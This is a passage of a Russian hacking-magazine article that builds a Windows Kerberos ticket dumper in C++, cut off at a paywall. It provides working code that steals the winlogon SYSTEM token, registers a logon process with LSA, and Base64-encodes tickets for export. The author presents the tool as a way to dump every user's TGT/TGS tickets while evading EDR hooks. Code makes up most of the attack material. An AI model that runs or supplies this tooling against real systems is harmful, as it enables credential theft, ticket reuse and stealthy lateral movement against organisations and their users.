Содержание статьи
Тикеты Kerberos бывают двух видов: TGT (Ticket Granting Ticket) и TGS (Ticket Granting Service). Для их дампа используются популярные инструменты, которые давно известны и системным администраторам, и тем более команде защитников. Каждый раз обфусцировать или криптовать тот же Mimikatz как минимум трудозатратно, поэтому я решил разобраться в том, как работает дамп тикетов с систем Windows.
Kerberos AP
В одной из моих прошлых статей ты узнал, что такое SSP, SP и AP. Теперь пора начинать ими злоупотреблять по‑настоящему! Мы будем обращаться к AP Kerberos и доставать из него билеты. Этот AP по умолчанию всегда присутствует в процессе lsass.
, поэтому для взаимодействия с ним будут использоваться стандартные API, которые нужны для работы с LSA.
Нам потребуется всего несколько функций:
- LsaConnectUntrusted;
- LsaRegisterLogonProcess;
- LsaGetLogonSessionData;
- LsaEnumerateLogonSessions;
- LsaCallAuthenticationPackage.
Да, дамп будет выполнен без всякой магии, стандартными, легитимными вызовами API. Я помню, как однажды услышал, будто дамп тикетов осуществляется путем чтения, а затем парсинг памяти LSASS. Так вот, друзья мои, ни Rubeus, ни Mimikatz так не делают. Оба инструмента дампят точно так же, с помощью тех же самых апишек.
Итоговый результат получился более чем крышесносный. Если у нас есть права локального администратора, то мы выгрузим абсолютно ВСЕ тикеты из системы.
А если прав администратора нет, то сможем получить лишь тикеты из сеанса входа текущего пользователя.
Итак, приступим к написанию инструмента.
Начало работы
При взаимодействии по протоколу Kerberos между клиентом и KDC или службой используется AP Kerberos. Внутри его кеша будут храниться все сессионные ключи, а также полученные пользователем TGT- и TGS-билеты. Но каким образом AP Kerberos понимает, что этот тикет принадлежит такому‑то пользователю, а этот другому? Здесь в игру вступают LUID. LUID — некий идентификатор текущей сессии. Мы можем увидеть текущий LUID с помощью команды klist
.
Для успешного дампа тикетов других пользователей нам нужно знать их LUID. Перечислить LUID можно с помощью LsaGetLogonSessionData(
. Подробнее эту функцию мы рассмотрим чуточку позже, но отмечу, что если мы не имеем прав администратора, то никто не даст нам сдампить чужие тикеты, поэтому подобная разведка может оказаться бессмысленной.
Во‑первых, я предлагаю создать заголовочный файл stuff.
, куда мы поместим все прототипы функций, другие заголовочные файлы и некоторые перечисляемые значения с заделом на будущее.
#pragma once#define WIN32_NO_STATUS#define SECURITY_WIN32#include <Windows.h>#include <NTSecAPI.h>#include <iostream>#include <sddl.h>#include <algorithm>#include <string>#include <TlHelp32.h>#include <cstring>#include <cstdlib>#include <iomanip>#include <map>#define DEBUG#include <locale>#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#pragma comment (lib, "Secur32.lib")const PCWCHAR TicketFlagsToStrings[] = { L"name_canonicalize", L"?", L"ok_as_delegate", L"?", L"hw_authent", L"pre_authent", L"initial", L"renewable", L"invalid", L"postdated", L"may_postdate", L"proxy", L"proxiable", L"forwarded", L"forwardable", L"reserved",};const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";LSA_STRING* create_lsa_string(const char* value);bool EnablePrivilege(PCWSTR privName, bool enable);DWORD ImpersonateSystem();BOOL LsaConnect(PHANDLE LsaHandle);VOID filetimeToTime(const FILETIME* time);VOID ParseTktFlags(ULONG flags);DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);
Пока мы не будем углубляться в подробности работы каждой функции — я расскажу о них чуть позже. Мы также добавили массив символов для кодирования в Base64. Кодировать тикет в Base64 нужно по той причине, что он представляет собой бинарные данные, которые невозможно корректно отобразить.
Как ты видишь, здесь огромное количество непечатаемых символов. Разве что просматривается имя домена. Эти данные никак не получится скопировать, вставить на другой компьютер, а затем внедрить, поэтому применяем кодирование в Base64. Функция для кодирования выглядит вот так:
std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) { std::string out; int val = 0, valb = -6; for (size_t i = 0; i < in_len; ++i) { unsigned char c = bytes_to_encode[i]; val = (val << 8) + c; valb += 8; while (valb >= 0) { out.push_back(base64_chars[(val >> valb) & 0x3F]); valb -= 6; } } if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]); while (out.size() % 4) out.push_back('='); return out;}
Она как раз использует этот самый массив символов. Теперь перейдем в самое начало нашего кода, в функцию main
:
int main() { setlocale(LC_ALL, ""); ShowAwesomeBanner(); HANDLE LsaHandle = NULL; BOOL DumpAllTickets = FALSE; if (LsaConnect(&LsaHandle)) {#ifdef DEBUG std::wcout << L"[+] I'll dump all tickets" << std::endl;#endif DumpAllTickets = TRUE; } else {#ifdef DEBUG std::wcout << L"[-] I'll dump tickets of current user" << std::endl;#endif }#ifdef DEBUG std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle << std::endl;#endif PLSA_STRING krbname = create_lsa_string("kerberos"); ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);#ifdef DEBUG std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;#endif
Уж извини меня за такое количество директив для препроцессора. Сначала думал их убрать, а потом оставил. Если тебе не нужно лишнего большого вывода, где инструмент будет сообщать обо всем, что он делает с системой, то просто из файла stuff.
убери строку #define
. Если же потребуется отследить весь поток вызовов, оставляй ее.
Итак, первым делом мы ставим локаль, чтобы наш инструмент умел успешно работать с любыми языками, хоть с русским, хоть с японским, хоть с каппадокийским диалектом греческого языка. Далее в функции ShowAwesomeBanner(
мы выводим наш суперстрашный череп (ведь никакая хакерская тулза не обойдется без него), а затем наступает этап подключения к LSA в функции LsaConnect(
.
Особенности дампа
Наш инструмент замечателен тем, что тикеты будет отдавать сам AP Kerberos. Причем этот вариант можно считать достаточно скрытным. Быть может, на каких‑то пентестах ты замечал, что сдампить LSASS стандартными средствами не получается, но при этом какой‑нибудь Rubeus.
успешно отрабатывает. Знаешь почему?
Проблема заключается в том, что большинство EDR (да и всяких других новомодных средств защиты, в рекламу которых вбухивают миллионы долларов) отслеживает примитивные функции для получения хендла на процесс lsass.
. Например, хукают тот же OpenProcess(
. Всякие более продвинутые варианты используют чуть большее число вариантов, но этого мало. Мы будем взаимодействовать не с процессом lsass.
, а со службой LSA. Нам не понадобится получать хендл на процесс, мы получим хендл только на саму службу, поэтому задетектировать наш инструмент будет чуточку сложнее.
Подключение к LSA
Чтобы начать взаимодействовать с AP Kerberos, следует подключиться к LSA, ведь именно LSA управляет всеми пакетами аутентификации. Подключение я вынес в отдельную функцию LsaConnect(
. Она принимает адрес, который инициализируется валидным хендлом на LSA, если сможет его получить.
// Вызов функцииHANDLE LsaHandle = NULL;LsaConnect(&LsaHandle);// ФункцияBOOL LsaConnect(PHANDLE LsaHandle) { NTSTATUS status = 0; wchar_t username[256]; DWORD usernamesize;#ifdef DEBUG GetUserName(username, &usernamesize); std::wcout << L"[?] Current user: " << username << std::endl; std::wcout << L"[?] Trying to get system" << std::endl;#endif if (ImpersonateSystem() != 0) {#ifdef DEBUG std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;#endif status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl; exit(-1); } return FALSE; } else { GetUserName(username, &usernamesize); PLSA_STRING krbname = create_lsa_string("MzHmO Dumper"); LSA_OPERATIONAL_MODE info;#ifdef DEBUG std::wcout << L"[?] Current user: " << username << std::endl;#endif status = LsaRegisterLogonProcess(krbname, LsaHandle, &info); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] Cant Register Logon Process" << std::endl; status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl; exit(-1); } return FALSE; } return TRUE; }}
Итак, именно в этой функции мы будем проверять, получится ли сдампить тикеты всех пользователей, либо мы ограничимся только текущим. Сначала получаем имя пользователя, от лица которого запущен инструмент, после чего дергается функция ImpersonateSystem(
. Она достаточно проста — сперва пытается добавить пользователю привилегию SeDebug
и SeImpersonate
, затем получает хендл на процесс winlogon.
(можно заменить любым другим, запущенным от лица системы). Наконец, используя этот хендл, функция получает токен процесса winlogon.
и применяет его к текущему потоку, что позволит добиться выполнения кода от лица системы.
DWORD ImpersonateSystem() { if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {#ifdef DEBUG std::wcout << "[!] Error enabling SeDebugPrivilege" << std::endl;#endif return 1; } else {#ifdef DEBUG std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;#endif } if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {#ifdef DEBUG std::wcout << "[!] Error enabling SeImpersonatePrivilege" << std::endl;#endif return 1; } else {#ifdef DEBUG std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::endl;#endif } DWORD systemPID = GetWinlogonPid(); if (systemPID == 0) {#ifdef DEBUG std::wcout << "[!] Error getting PID to Winlogon process" << std::endl;#endif return 1; } HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPID); DWORD dw = 0; dw = ::GetLastError(); if (dw != 0) {#ifdef DEBUG std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;#endif return 1; } HANDLE hSystemTokenHandle; OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle); dw = ::GetLastError(); if (dw != 0) {#ifdef DEBUG std::wcout << L"[-] OpenProcessToken failed: " << dw << std::endl;#endif return 1; } HANDLE newTokenHandle; DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &newTokenHandle); dw = ::GetLastError(); if (dw != 0) {#ifdef DEBUG std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::endl;#endif return 1; } ImpersonateLoggedOnUser(newTokenHandle); return 0;}
Функции для работы с токенами мы уже рассматривали в статьях «Privileger. Управляем привилегиями в Windows» и «Свин API. Изучаем возможности WinAPI для пентестера», поэтому не вижу смысла на них останавливаться. GetWinlogonPid(
, используя CreateToolhelp32Snapshot(
, получает список текущих процессов, а затем пробегается по ним, чтобы обнаружить процесс с нужным именем, то есть winlogon.
.
DWORD GetWinlogonPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) { return entry.th32ProcessID; } } } return 0;}
Если хотя бы одна из этих операций оборачивается неудачей, то нам будет суждено сдампить лишь тикеты текущего пользователя. ImpersonateSystem(
вернет 0, если успешно получила выполнение кода от лица системы, и -1
, если что‑то пошло не так. Поэтому добавляем простое условие if
.
if (ImpersonateSystem() != 0) {#ifdef DEBUG std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;#endif status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl; exit(-1); } return FALSE; }
Начнем с варианта, в котором нам не удалось добиться исполнения кода от лица системы. В таком случае придется немножко взгрустнуть, получить обычный хендл на LSA и вернуть FALSE
. Получение хендла на LSA через LsaConnectUntrusted(
приведет к тому, что все «ядерные» возможности дампа чужих тикетов окажутся нам недоступны. Мы будем считаться, буквально говоря, недоверенным процессом. В дальнейшем этот возвращенный FALSE проверяется и устанавливается соответствующий флажок, который сигнализирует, возможен дамп тикетов из всех сессий или нет.
if (LsaConnect(&LsaHandle)) { std::wcout << L"[+] I'll dump all tickets" << std::endl; DumpAllTickets = TRUE; } else { std::wcout << L"[-] I'll dump tickets of current user" << std::endl; }
Если же нам повезло чуть больше, то теперь наша программа исполняется от лица системы, поэтому регистрируем процесс входа в систему. Сделать это можно с помощью LsaRegisterLogonProcess(
. Указанная функция принимает имя нового процесса входа, некоторую (не особо важную) дополнительную информацию, а возвращает «ядерный» хендл на LSA.
else { GetUserName(username, &usernamesize); PLSA_STRING krbname = create_lsa_string("MzHmO Dumper"); LSA_OPERATIONAL_MODE info;#ifdef DEBUG std::wcout << L"[?] Current user: " << username << std::endl;#endif status = LsaRegisterLogonProcess(krbname, LsaHandle, &info); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] Cant Register Logon Process" << std::endl; status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) || !LsaHandle) { std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl; exit(-1); } return FALSE; } return TRUE; }
Полученный с помощью функции LsaRegisterLogonProcess(
хендл не имеет никаких ограничений в плане взаимодействия с LSA. Его можно использовать для любых целей, мы фактически становимся процессом входа, почти как winlogon.
. Процесс входа должен иметь свое уникальное имя, чтобы LSA могла понимать, к кому обращаться. LSA воспринимает строки только в виде специальной структуры LSA_STRING
. Для корректной инициализации всех элементов этой структуры я также сделал специальную функцию:
LSA_STRING* create_lsa_string(const char* value){ char* buf = new char[100]; LSA_STRING* str = (LSA_STRING*)buf; str->Length = strlen(value); str->MaximumLength = str->Length; str->Buffer = buf + sizeof(LSA_STRING); memcpy(str->Buffer, value, str->Length); return str;}
После создания имени для нашего процесса входа пора наконец‑то вызывать LsaRegisterLogonProcess(
. Обрати внимание, что я не забыл обработать возможную ошибку, ведь мало ли что может происходить в системе, вдруг LsaRegisterLogonProcess(
не даст зарегистрировать новый процесс входа. Поэтому, если вызов функции обернулся ошибкой, мы просто возвращаемся к описанному раньше варианту через LsaConnectUntrusted(
. В таком случае сдампить все тикеты, само собой, не получится.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»